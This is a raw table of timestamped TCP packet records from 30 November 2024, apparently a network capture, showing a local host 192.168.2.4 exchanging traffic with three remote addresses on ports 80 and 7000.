Nov 30, 2024 18:08:14.451801062 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.451843977 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.451960087 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.452006102 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.457179070 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.457242966 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:14.457309008 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:14.457354069 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:16.618288040 CET	49769	80	192.168.2.4	185.215.113.43
Nov 30, 2024 18:08:16.618565083 CET	49784	80	192.168.2.4	185.215.113.43
Nov 30, 2024 18:08:16.742985964 CET	80	49784	185.215.113.43	192.168.2.4
Nov 30, 2024 18:08:16.743019104 CET	80	49769	185.215.113.43	192.168.2.4
Nov 30, 2024 18:08:16.743118048 CET	49769	80	192.168.2.4	185.215.113.43
Nov 30, 2024 18:08:16.743302107 CET	49784	80	192.168.2.4	185.215.113.43
Nov 30, 2024 18:08:16.743302107 CET	49784	80	192.168.2.4	185.215.113.43
Nov 30, 2024 18:08:16.823055983 CET	49785	7000	192.168.2.4	179.43.171.209
Nov 30, 2024 18:08:16.865675926 CET	80	49784	185.215.113.43	192.168.2.4
Nov 30, 2024 18:08:16.943049908 CET	7000	49785	179.43.171.209	192.168.2.4
Nov 30, 2024 18:08:16.943185091 CET	49785	7000	192.168.2.4	179.43.171.209
Nov 30, 2024 18:08:17.182676077 CET	49785	7000	192.168.2.4	179.43.171.209
Nov 30, 2024 18:08:17.302663088 CET	7000	49785	179.43.171.209	192.168.2.4
Nov 30, 2024 18:08:20.742546082 CET	49784	80	192.168.2.4	185.215.113.43
Nov 30, 2024 18:08:24.164103031 CET	7000	49785	179.43.171.209	192.168.2.4
Nov 30, 2024 18:08:24.211148977 CET	49785	7000	192.168.2.4	179.43.171.209
Nov 30, 2024 18:08:25.761442900 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:25.761698008 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:25.881584883 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:25.881675005 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:25.881712914 CET	80	49775	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:25.881763935 CET	49775	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:25.881870985 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:26.001849890 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.266585112 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.266836882 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.266845942 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.266910076 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.266946077 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.267103910 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.267115116 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.267143965 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.267158031 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.267925024 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.267935991 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.267940044 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.267981052 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.268619061 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.268627882 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.268671036 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.387670994 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.387958050 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.388037920 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.391027927 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.391081095 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.391207933 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.391252041 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.400152922 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.402735949 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.467345953 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.467514992 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.467583895 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.471539974 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.471693993 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.471759081 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.471805096 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.479928970 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.480098009 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.480160952 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.488344908 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.488502979 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.488563061 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.496720076 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.496927023 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.496974945 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.505188942 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.505249023 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.505322933 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.505369902 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.513598919 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.513670921 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.513747931 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.513797998 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.522017956 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.522069931 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.522236109 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.522290945 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.530414104 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.530576944 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.530659914 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.537722111 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.537909985 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.537975073 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.544995070 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.545171976 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.545238018 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.552258015 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.552308083 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.552437067 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.552483082 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.668595076 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.668653965 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.668786049 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.668834925 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.671354055 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.671418905 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.671577930 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.671626091 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.676616907 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.676701069 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.676830053 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.676878929 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.681987047 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.682075024 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.682153940 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.682194948 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.687287092 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.687349081 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.687486887 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.687539101 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.692799091 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.692850113 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.692986965 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.693028927 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.697949886 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.698008060 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.698177099 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.698216915 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.703319073 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.703497887 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.703516006 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.703563929 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.708633900 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.708707094 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.708928108 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.708976984 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.714037895 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.714097023 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.714204073 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.714247942 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.719383001 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.719439030 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.719587088 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.719631910 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.724709988 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.724769115 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.724873066 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.724920988 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.730134010 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.730184078 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.730443954 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.730489016 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.735361099 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.735400915 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.735558987 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.735605955 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.740698099 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.740744114 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.740868092 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.740911007 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.746022940 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.746090889 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.746212959 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.746262074 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.751399040 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.751463890 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.751559019 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.751609087 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.756704092 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.756764889 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.756892920 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.756937981 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.762073040 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.762161016 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.762284994 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.762331963 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.767371893 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.767433882 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.767580032 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.767635107 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.772712946 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.772784948 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.772919893 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.772965908 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.778079987 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.778136969 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.778299093 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.778347015 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.783559084 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.783629894 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.783665895 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.783709049 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.788722038 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.788773060 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.789020061 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.789064884 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.869848967 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.869981050 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.870019913 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.870039940 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.872363091 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.872415066 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.872534037 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.872580051 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.876153946 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.876198053 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.876375914 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.876420975 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.881217957 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.881263018 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.881385088 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.881429911 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.886261940 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.886315107 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.886442900 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.886488914 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.890319109 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.890394926 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.890523911 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.890563965 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.894471884 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.894519091 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.894720078 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.894762993 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.898848057 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.898890018 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.899070024 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.899116039 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.902719975 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.902786016 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.903000116 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.903045893 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.906769991 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.906816959 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.906951904 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.906996965 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.911480904 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.911528111 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.911624908 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.911670923 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.914964914 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.915009975 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.915123940 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.915169954 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.919040918 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.919089079 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.919243097 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.919291019 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.922547102 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.922605038 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.922753096 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.922795057 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.925990105 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.926065922 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.926198006 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.926243067 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.929425955 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.929475069 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.929636955 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.929682016 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.932868004 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.932928085 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.933317900 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.933366060 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.936345100 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.936423063 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.936523914 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.936566114 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.939759016 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.939815044 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.939985991 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.940026045 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.943367958 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.943425894 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.943609953 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.943655014 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.946727991 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.946815968 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.946945906 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.946991920 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.950310946 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.950371027 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.950530052 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.950579882 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.953557968 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.953617096 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.953762054 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.953819990 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.956991911 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.957058907 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.957218885 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.957263947 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.960438013 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.960499048 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.960652113 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.960699081 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.963968992 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.964036942 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.964131117 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.964176893 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.967363119 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.967434883 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.967560053 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.967643976 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.970813036 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.970875025 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.970980883 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.971023083 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.974248886 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.974318981 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.974442959 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.974529982 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.977691889 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.977771044 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.977915049 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.977962971 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.981142044 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.981198072 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.981340885 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.981383085 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.984596968 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.984647036 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.984800100 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.984842062 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.988030910 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.988106966 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.988266945 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.988307953 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.991537094 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.991596937 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.991727114 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.991767883 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.994966984 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.995038033 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:27.995131016 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:27.995186090 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.000639915 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.000715017 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.000896931 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.000937939 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.003660917 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.003712893 CET	49805	80	192.168.2.4	31.41.244.11
